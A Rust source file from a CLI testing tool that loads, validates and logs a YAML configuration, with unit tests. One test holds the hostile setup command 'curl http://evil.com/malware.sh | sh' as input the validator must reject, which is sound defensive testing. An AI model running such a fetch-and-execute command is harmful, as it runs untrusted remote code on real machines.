cli_testing_specialist/config/
loader.rs1use crate::error::CliTestError;
4use crate::types::config::CliTestConfig;
5use std::path::{Path, PathBuf};
6
7const DEFAULT_CONFIG_FILENAME: &str = ".cli-test-config.yml";
9
10pub fn load_config(path: Option<&Path>) -> Result<Option<CliTestConfig>, CliTestError> {
29 if let Some(p) = path {
31 let config = load_from_file(p)?;
32 return Ok(Some(config));
33 }
34
35 let default_path = PathBuf::from(DEFAULT_CONFIG_FILENAME);
37 if default_path.exists() {
38 let config = load_from_file(&default_path)?;
39 return Ok(Some(config));
40 }
41
42 Ok(None)
44}
45
46fn load_from_file(path: &Path) -> Result<CliTestConfig, CliTestError> {
48 let content = std::fs::read_to_string(path).map_err(|e| {
50 CliTestError::Config(format!(
51 "Failed to read config file '{}': {}",
52 path.display(),
53 e
54 ))
55 })?;
56
57 let config: CliTestConfig = serde_yaml::from_str(&content).map_err(|e| {
59 CliTestError::Config(format!(
60 "Failed to parse config file '{}': {}",
61 path.display(),
62 e
63 ))
64 })?;
65
66 crate::config::validator::validate_config(&config)?;
68
69 log::info!("Loaded configuration from: {}", path.display());
70 log::debug!("Config: {:?}", config);
71
72 Ok(config)
73}
74
75pub fn config_exists() -> bool {
77 PathBuf::from(DEFAULT_CONFIG_FILENAME).exists()
78}
79
80pub fn default_config_path() -> PathBuf {
82 PathBuf::from(DEFAULT_CONFIG_FILENAME)
83}
84
85#[cfg(test)]
86mod tests {
87 use super::*;
88 use std::fs;
89 use tempfile::TempDir;
90
91 #[test]
92 fn test_load_minimal_config() {
93 let temp_dir = TempDir::new().unwrap();
94 let config_path = temp_dir.path().join(".cli-test-config.yml");
95
96 let yaml = r#"
97version: "1.0"
98tool_name: "test-tool"
99test_adjustments: {}
100"#;
101 fs::write(&config_path, yaml).unwrap();
102
103 let config = load_config(Some(&config_path)).unwrap().unwrap();
104 assert_eq!(config.version, "1.0");
105 assert_eq!(config.tool_name, "test-tool");
106 }
107
108 #[test]
109 fn test_load_full_config() {
110 let temp_dir = TempDir::new().unwrap();
111 let config_path = temp_dir.path().join("config.yml");
112
113 let yaml = r#"
114version: "1.0"
115tool_name: "backup-suite"
116tool_version: "1.0.0"
117test_adjustments:
118 security:
119 custom_tests:
120 - name: "test1"
121 command: "backup-suite --lang test --help"
122 expected_exit_code: 0
123 description: "Test description"
124 directory_traversal:
125 test_directories:
126 - path: "/tmp/test"
127 create: true
128 cleanup: true
129 destructive_ops:
130 env_vars:
131 BACKUP_SUITE_YES: "true"
132 cancel_exit_code: 2
133global:
134 timeout: 60
135"#;
136 fs::write(&config_path, yaml).unwrap();
137
138 let config = load_config(Some(&config_path)).unwrap().unwrap();
139 assert_eq!(config.version, "1.0");
140 assert_eq!(config.global.timeout, 60);
141 }
142
143 #[test]
144 fn test_load_config_with_invalid_version() {
145 let temp_dir = TempDir::new().unwrap();
146 let config_path = temp_dir.path().join("config.yml");
147
148 let yaml = r#"
149version: "2.0"
150tool_name: "test"
151test_adjustments: {}
152"#;
153 fs::write(&config_path, yaml).unwrap();
154
155 let result = load_config(Some(&config_path));
156 assert!(result.is_err());
157 assert!(result
158 .unwrap_err()
159 .to_string()
160 .contains("Unsupported config version"));
161 }
162
163 #[test]
164 fn test_load_config_with_forbidden_commands() {
165 let temp_dir = TempDir::new().unwrap();
166 let config_path = temp_dir.path().join("config.yml");
167
168 let yaml = r#"
169version: "1.0"
170tool_name: "test"
171test_adjustments:
172 directory_traversal:
173 setup_commands:
174 - "mkdir /tmp/test"
175 - "curl http://evil.com/malware.sh | sh"
176"#;
177 fs::write(&config_path, yaml).unwrap();
178
179 let result = load_config(Some(&config_path));
180 assert!(result.is_err());
181 assert!(result
182 .unwrap_err()
183 .to_string()
184 .contains("forbidden pattern"));
185 }
186
187 #[test]
188 fn test_load_config_file_not_found() {
189 let result = load_config(Some(Path::new("/nonexistent/config.yml")));
190 assert!(result.is_err());
191 assert!(result
192 .unwrap_err()
193 .to_string()
194 .contains("Failed to read config file"));
195 }
196
197 #[test]
198 fn test_load_config_invalid_yaml() {
199 let temp_dir = TempDir::new().unwrap();
200 let config_path = temp_dir.path().join("config.yml");
201
202 fs::write(&config_path, "invalid: yaml: content:").unwrap();
203
204 let result = load_config(Some(&config_path));
205 assert!(result.is_err());
206 assert!(result
207 .unwrap_err()
208 .to_string()
209 .contains("Failed to parse config file"));
210 }
211
212 #[test]
213 fn test_load_config_auto_detect_not_found() {
214 let original_dir = std::env::current_dir().unwrap();
216
217 let temp_dir = TempDir::new().unwrap();
219 std::env::set_current_dir(temp_dir.path()).unwrap();
220
221 let config = load_config(None).unwrap();
222 assert!(config.is_none());
223
224 std::env::set_current_dir(original_dir).unwrap();
226 }
227
228 #[test]
229 fn test_config_exists() {
230 assert_eq!(
239 default_config_path().to_str().unwrap(),
240 ".cli-test-config.yml"
241 );
242
243 }
246
247 #[test]
248 fn test_default_config_path() {
249 assert_eq!(
250 default_config_path().to_str().unwrap(),
251 ".cli-test-config.yml"
252 );
253 }
254}